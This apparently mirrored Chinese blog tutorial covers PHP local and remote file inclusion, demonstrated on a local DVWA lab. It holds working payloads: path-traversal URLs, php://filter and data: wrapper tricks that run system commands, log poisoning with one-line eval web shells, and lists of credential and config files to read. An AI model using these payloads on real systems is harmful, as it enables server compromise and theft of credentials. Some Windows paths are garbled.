zoukankan      html  css  js  c++  java
  • 文件包含漏洞总结

    前言:

    本人(九世)正式从博客园:迁移到:http://hackhat.net。会进行同步更新

    正文:

    漏洞来源:

    文件包含漏洞,得从文件包含说起。一般写代码的人都知道,完成一个项目里面有很多的文件调用和引用

    而文件包含漏洞,因为文件包含的时候没有做对应的防御措施导致引用的文件变成攻击者所指定的文件。

    PHP中提供了四个文件包含的函数

    函数名称特点
    include 遇到错误,仍会执行
    include_once 遇到错误,仍会执行
    require 遇到错误,不会执行
    require_once 遇到错误,不会执行

    文件包含漏洞又分为:

    本地文件包含

    远程文件包含

    文件包含利用工具:https://github.com/D35m0nd142/LFISuite

    本地文件包含:

    • 利用的价值:可包含目标服务器里面的文件
    • 利用的方法:绝对路径包含,协议包含,日志包含
    • 上传图片马,然后包含
    • 若有phpinfo,能知道临时文件的路径,则可以包含临时文件
    • phar协议的特殊姿势:http://bbs.pediy.com/thread-216191.htm

    1.绝对路径包含

    原:

    将include.php变为/../../../../../phpinfo.php

    http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=include.php
    http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=/../../../../../phpinfo.php

    包含C盘某txt

    http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=/../../../../../windows-version.txt

      

    可以发现出现在左上角了

    2.协议包含

    一般使用的协议有 php,file,data,zip

    php协议的用法:base64编码查看脚本的代码,php进行写入

    例子:

    http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=/../../../../../shell.php

    得到加密的base64:PD9waHAgQGV2YWwoJF9QT1NUWydoYXEnXSk7Pz4=

    解密之后:

    file协议的用法:包含文件

    例子:和上面的/../../../../../一样这里就不在重复

    data协议的用法:data:text/plain,《php代码》

    例子:

    http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=data:text/plain,%3C?php%20system(%27ipconfig%27);?%3E

    很明显的可以看见,利用data协议执行了cmd命令

    php://input进行写入:

    php://input&cmd=dir
    post提交:<?php @eval($_POST['cmd']);?>

    3.日志包含

    利用LFISuite扫描到可以读取的日志

    直接提交://http://xx.com/<?php @eval($_POST['c']);?>  ,然后burpsuite抓包将提交被html编码的改好进行提交

    访问日志,然后配置好C刀即可获取一个一句话木马。

    一些常见的日志目录:

    windows:

    c:oot.ini
    c:windowssystems32inetsrvMetaBase.xml
    c:windows
    epairsam
    c:windowsphp.ini             php配置文件
    c:windowsmy.ini               mysql配置文件
    

    Linux:

    /etc/passwd
    /usr/local/app/apache2/conf/http.conf
    /usr/local/app/php5/lib/php.ini          PHP相关设置
    /etc/httpd/conf/http.conf                    apache配置文件
    /etc/my.cnf                                              mysql配置文件
    

    远程文件包含:

    前提:需要开启allow_url_fopen,默认关闭。
    新建php.txt:

    1
    2
    3
    <?php
    echo "hello world";
    ?>

    新建index.php:

    1
    2
    3
    <?php
    Include($_GET['page']);
    ?>

    访问http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。

    python打造文件包含检测工具:http://www.cnblogs.com/haq5201314/p/9192535.html

    测试图:

  • 相关阅读:
    软件产品案例分析 ——华为软件开发云
    软件工程实践2017第一次作业
    软件工程实践2017结对第二次作业
    SDN第一次作业
    路由器工作原理
    Spring框架之springweb web源码完全解析
    Spring框架之springweb http源码完全解析
    Spring框架之jms源码完全解析
    Spring框架之AOP源码完全解析
    比特币里的计算机知识
  • 原文地址:https://www.cnblogs.com/haq5201314/p/9248281.html
Copyright © 2011-2022 走看看